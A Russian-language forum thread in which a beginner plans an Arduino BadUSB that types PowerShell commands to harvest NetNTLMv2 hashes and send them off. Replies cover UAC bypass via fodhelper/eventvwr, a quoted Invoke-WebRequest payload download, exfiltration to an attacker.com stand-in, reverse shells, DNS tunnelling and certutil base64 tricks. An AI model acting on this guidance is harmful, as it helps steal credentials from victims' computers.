Всем привет, недавно вошел в сферу Reverse Engineering и решил сделать свой мини проект для GitHub'a. Суть проекта заключается в том, что я хочу написать свой BadUSB используя С++ \ С \ Arduino. Есть ли какие-то библиотеки, которые могут получать доступ к хешу компьютера,его сканировать, качать или же это реализуется на более высокоуровневых ЯП?
Спасибо,что указали на ошибку в вопросе. В чем суть вопроса, я хочу чтобы моя Arduino использовала WinApi и вызывала PowerShell, который будет анализировать сетевой кеш, который я буду отправлять в течении дня, и отправлять его в каком-то виде( в каком,честно, не знаю. Может .zip или .txt или в каком-то более удобном) на указанный путь ( почта,jabber или на сервер)
dieMark0, давайте раскручивать Вашу идею. Расскажите, что и как сейчас Вы хотите сделать, и что (это главное. должны быть готовые наработки) уже сейчас сделано. Я далек, признаться честно, от Вашей задачи, но понимаю, что она станет ГОРАЗДО проще, если ее "разжевать" (структуризировать). Неясна обязательная привязка к Гитхаб. Множество проектов вполне себе живут на жестких дисках своих создателей или на каком-нибудь безымянном сайте. А если у пользователя старый Windows без Powershell или запуск PS запрещен политиками безопасности? ОК, "на пальцах", как Вы сейчас представляете схематично Ваш проект?
1 этап. Подготовка Ардуино для работы с PowerShell. На данный момент я на этом этапе. В чем заключается суть этого этапа - написать программу для Arduino , которая будет первым делом проверять поддерживает ли система, с которой я работаю,PowerShell ( major \ minor версию). Я начал узнавать, как это можно реализовать с меньшим кол-во проблем, и нашел в интернете код, который помогает проверить через CMD: { "powershell -command "$PSVersionTable.PSVersion" }. Почитав подробнее про Arduino, понял, что нужны Arduino с чипом - ATmega32U4, где U - является самым важным фактором этого этапа. Благодаря нему, я смогу отправлять команды процессору через библиотеку " Keyboard.h ". 2 этап. Получение хеш-данных. Говорить про сетевой трафик и хеширование, врать не буду, не смогу сильно уверенно, т. к глубокого и разностороннего опыта нет. Но почитав в интернете я не пришел к конкретному выводу, как это можно сделать достаточно логично и правильнее. Пока-что для этого этапа я разбираюсь с NetNTLMv2. На данный момент это все,что я могу сказать по своему проекту. На данный момент я не рассматриваю моменты с отсутствием PowerShell, а тем более прав к нему от политик безопасности ( делаю упор больше на хеш составляющую ). Добавляя про ГитХаб, то это просто будет проект в портфолио, ничего большего, просто медаль на груди - интерпретируйте, как вам будет понятнее. P.s: Огромное спасибо всем, кто как-то дает подсказки или советы по проекту, я очень вам благодарен. В моих сообщениях иногда может отсутствовать тех.логика и ошибки в понимании той или иной системы - прошу сильно не кидаться камнями
dieMark0, то есть Ваше устройство, будучи подключенным к usb, имитирует клавиатуру, с которой вводится условный win+r, затем указанную строку, верно? Как дальше Вы видите работу своего устройства? Или я чего-то не понимаю? Как оно сможет распознать обратную связь от ПК? Вот выплюнет cmd версию PS, и.. ? Как Ваше устройство "увидит" этот ответ? И да, UAC как обходить? Спамить "нажатием" клавиши "Y"? https://habr.com/ru/articles/903510/ (купи полную подписку и почувствуй себя хакером) https://xakep.ru/2023/02/09/very-bad-usb/ https://codeby.net/threads/soberi-sebe-badusb-ne-khuzhe-chem-rubber-ducky-ot-hak5.74984/ здесь есть перлы вроде "привет, эпилептик", моргание экраном В моих сообщениях тоже может отсутствовать тех. логика и ошибки в понимании той или иной системы, но BadUsb это баловство вроде 3d-принтера, вещь в себе, PoC. Как proof of concept неплохо, интересно попробовать свои силы, но чтобы вот прям похакать все компы подряд - не взлетит, имхо. Опять же, если Вы целитесь на современные ОС с повершеллом, что с одной стороны хорошо, потому что PS это дырища в безопасности размером с солнечную систему, то следует иметь ввиду, что Windows Defender тоже не даст скучать, и запросто распознает любую вредоносную активность вроде скачивания-и-запуска файла. Файл (exe) качать видимо придется так или иначе, потому что в командной строке возможно лишь сделать что-то примитивное, и для чего-то большего нужен полноценный exe, который в теории можно "распаковать" из скрипта, но здесь емкости поля ввода командной строки не хватит. Есть вариант, если Ваше BadUsb устройство будет и клавиатурой, и флешкой, на которой будет сам вредонос-стилер. Про противозаконность думаю, говорить, не стоит?
1.Говоря про эту часть только хочу сказать, что я испытываю свои навыки и хочу "изнутри" разобрать, как работает та или иная система, чтобы не оставаться на уровне программистов с курсов или скрипт-кидди, а совершенствовать свои навыки и общаться с более опытными реверсерами из этой области, и перенимать их опыт, навыки и работу над ошибками. Говоря про "Хакать всё и вся" - у меня нет розовых очков после просмотра Мистера Робота + я не стремлюсь пока-что писать какой-нибудь Пигассус, который может практически всё. 2.Он может быть, но только в лабораторных условиях, то есть будет ограничен моим компьютеров, если бы я хотел сделать и написать противозаконное, то пошел бы на xss или куда-нибудь ещё. Всё в пределах закона и исключительно практики. 3. Спасибо огромное, ещё раз, за материалы чуть попозже с ними ознакомлюсь. 4. Пока-что я остановился на первом этапе своего плана, а именно: Использовать Arduino в качестве клавиатуры + получения значения. Вспоминая эту команду - { "powershell -command "$PSVersionTable.PSVersion" } я хотел сказать, что проверка будет осуществляться через If \ else, если версия 3 и выше, то функция будет срабатывать и выполнять поиск NetNTLMv2 - хешей. 5. Да, все верно, после успешной проверки начнется проверка NetNTLMv2 - хешей и прочих хешей из которых можно получить выгоду ( точно не знаю какие, пока-что ознакамливаюсь с этой темой глубже ). 6.Пока-что думаю над этим пунктом и как можно завернуть в обертку "успешности \ провала" функции if\else, но я думаю, что можно будет закрывать PowerShell в связи неудачной выполненной функции. 7. Говоря про UAC. После вашего ответа начал ознакамливаться, что это и с чем это едят, но думаю, что можно будет использовать: fodhelper.exe ; eventvwr.exe .
https://habr.com/ru/articles/767996/ в продолжение. там палево лютое: Invoke-WebRequest -Uri 'http://192.168.56.251:800/badusb.bat' -OutFile 'C:\\Badusb\\badusb.bat' Но на самом деле (что удорожит устройство), если будет возможность на самом устройстве разместить еще и EXE, это будет на уровень выше этих поделок. Точно знаю, что можно разместить несколько виртуальных устройств (в данном случае, клавиатуру и накопитель) на одном физическом устройстве. А если EXE будет зашифрован, и ключ для его расшифровки (или расшифровки определенных EXE под различные задачи) будет браться с сервера, это уже "цифровое оружие" получится. Спустимся на землю. Как устройство сможет "видеть" вывод сообщений о версии PS из командной строки? Может я что-то упустил?
Когда мы будем использовать функцию if \ else, то в блок else заложим exit, если у нас что-то пойдет не по плану
Обождите ) Ваше устройство имитирует клавиатуру. При подключении к ПК оно "вводит" команды. Чем и как оно "смотрит" на экран на вывод сообщений, которые появляются в ответ на введенные им команды? " "Расскажи про BadUsb. Как оно получает обратную связь, оно ведь не может "смотреть" в экран на результат ввода своих команд в компьютер? То есть оно имитирует клавиатуру, вводит некие команды, но вывод сообщений устройство BadUsb не может видеть, верно?" Вы абсолютно правы: классическое устройство BadUSB работает «вслепую». Оно имитирует клавиатуру, отправляет нажатия клавиш, но напрямую видеть экран или читать текст ответов из консоли не может, так как стандартный USB-интерфейс клавиатуры передает данные только в одну сторону (от устройства к ПК). Тем не менее, хакеры и разработчики нашли несколько остроумных способов получать обратную связь и понимать, что происходит на атакуемом компьютере. 1. Передача данных через светодиоды (Caps Lock, NuM Lock) Это самый простой способ получить физический ответ от ПК без установки дополнительных программ. Как это работает: Компьютер отправляет на клавиатуру сигналы для включения/выключения светодиодов (Caps Lock, Num Lock, Scroll Lock), когда пользователь нажимает эти клавиши. Принцип связи: BadUSB может отправить на ПК команду, которая проверяет выполнение условия (например, «существует ли файл?»). Если ответ «да», скрипт на ПК программно активирует Caps Lock. BadUSB считывает загоревшийся индикатор и понимает: команда выполнена успешно. 2. Организация "Обратного шелла" (Reverse Shell) Вместо того чтобы пытаться принять данные на само устройство BadUSB, атакующие заставляют атакованный компьютер самостоятельно связаться с их удаленным сервером. Принцип: BadUSB вводит команду (например, через PowerShell или Terminal), которая скачивает и запускает вредоносный скрипт. Результат: Этот скрипт открывает скрытое сетевое соединение с сервером злоумышленника в интернете. Через этот «канал» хакер получает полный доступ к экрану, файлам и консоли ПК, а само BadUSB можно сразу извлечь. 3. Использование DNS-туннелирования или HTTP-запросов Если нужно просто подтвердить успешность операции или украсть мелкие данные (пароли, токены). Принцип: BadUSB копирует нужные данные в буфер обмена, а затем выполняет команду, которая кодирует эти данные и отправляет их в виде запроса на подконтрольный сайт (например, http://attacker.com). DNS-вариант: Данные могут быть зашиты в поддомен DNS-запроса (например, ://attacker.com). Этот способ часто обходит строгие корпоративные брандмауэры. 4. Комбинированные устройства (Двойной интерфейс) Продвинутые платы (например, на базе чипов со встроенным Wi-Fi/Bluetooth вроде ESP32-S2 или специализированные гаджеты вроде Flipper Zero / Rubber Ducky v3) действуют хитрее. Принцип: Компьютер видит устройство одновременно и как клавиатуру, и как сетевую карту (или съемный диск). Схема: «Клавиатурная» часть BadUSB вводит команду, которая сохраняет результат (например, список паролей) в текстовый файл на этот же виртуальный накопитель. В этот момент микроконтроллер BadUSB считывает файл из своей памяти и передает его злоумышленнику по Wi-Fi. " С NumLock интересно. Безпалевно и просто. Но ЗАЧЕМ? "если каталог C:/DOOM cуществует, перезагрузи компьютер, но сначала зажги Numlock, проверь, зажегся ли он, и в этом случае перезагрузи комп" Про reverse shell можете сразу забыть, палится всем чем можно уже четверть века. И отправка по e-mail без сторонних утилит не работает, если не ошибаюсь. В 2000-е можно было SMTP отправлять, используя разное Апи от Outlook вроде, но с обрастанием почты разными шифрованиями это стало делать невозможно.
Здесь может помочь WebDAV. WebDAV (Web Distributed Authoring and Versioning) или просто DAV — набор расширений и дополнений к протоколу HTTP, поддерживающих совместную работу пользователей над редактированием файлов и управление файлами на удаленных веб-серверах. В качестве миссии рабочей группы по созданию DAV было заявлено: «разработка дополнений к протоколу HTTP, обеспечивающих свободное взаимодействие инструментов распределённой разработки веб-страниц, в соответствии с потребностями работы пользователей». Однако в процессе эксплуатации DAV нашёл себе ряд других применений, выходящих за первоначально принятые рамки коллективной работы над веб-документами. Сегодня DAV применяется в качестве сетевой файловой системы, эффективной для работы в Интернете и способной обрабатывать файлы целиком, поддерживая хорошую производительность работы в условиях окружения с высокой временной задержкой передачи информации. Кроме того, DAV широко применяется в качестве протокола для доступа через Интернет и манипулирования содержимым систем документооборота (document management system). Ещё одной важной целью DAV[1] является поддержка работы распределённых команд по разработке программного обеспечения. В качестве резюме задачу создания DAV можно указать так: на волне повсеместного использования HTTP в качестве стандартного уровня доступа к широкому кругу хранилищ информации расширить его возможности средствами записи информации (HTTP — доступ на чтение, DAV — доступ на запись).
dieMark0, подброшу дровишек в Ваш костер мысли. Мы можем использовать notepad, отсылая ему символы для формирования файла полезной нагрузки, вместо того чтобы вызывать повершелл с магическими командами. В ОС могут быть запрещены вызовы PS / CMD, а Блокнот является безопасным приложением. Win+R, notepad, Enter, открывается окно Блокнота, в которое можно вводить кодес. Правда следует обратить внимание, что для русских версий ОС горячие клавиши будут также русифицированы (вместо Alt+F для вызова меню "Файл" нужно будет генерировать Alt+Ф). И нюанс, что если выбрана английская раскладка, то в русской винде не будут работать ни Alt+F ни Alt+Ф, засада (впрочем можно переключить раскладку, чьи клавиши переключения обычно не меняются). Далее, так как в Notepad могут быть только ASCII символы, прям так сразу ЕХЕ туда не спрятать. Хотя у нас есть PS, WSH или даже можно нагородить какое-нибудь извращение на BAT. Впрочем, погуглите "certutil base64" или можете покопать в эту сторону:
Спасибо, что подкидываете те или иные нюансы, с последних двух ваших сообщений,честно говоря, я поплыл из-за огромного кол-во факторов и новой информации, которые надо учитывать. Я учту всю информацию, которая была написана здесь и попытаюсь из неё что-то слепить, если пойдет всё крайне туго - отложу ненадолго в ящик и возьмусь за что-то более легкое. Если вам не трудно, подскажите пожалуйста, где можно брать идеи для своих дальнейших проектов? Или мне все же стоит пока читать дальше учебники пока не наберусь достаточным кол-во знаний о тех или иных системах?
dieMark0, за всех пользователей данного ресурса не скажу, но мне в качестве генератора идей подходит общение с нейросетками. Учебники читать скучно и бесполезно в плане навыков, т.к. это просто балласт, который без практического закрепления бесполезен. Так что наверное лучший путь изучения чего-либо - практический. Заодно сразу на себе примеряешь поговорку "я знаю, что ничего не знаю". В инете есть ресурсы вроде Хабра или https://www.reddit.com/r/ReverseEngineering/ , где можно поймать мотивацию что-то поковырять. Все уже расковырено, конечно, но тем не менее.
Ок,спасибо вам огромное, ещё раз --- Сообщение объединено, 12 июл 2026 --- _edge, А проходили ли вы какие-то курсы ( бесплатные ), которые писало само комьюнити для новичков в сфере Revers Engineering'a? Из бесплатных слышал только "Введение в разработку эксплойтов" от Yashecka, но может быть есть ещё какие-то достойные?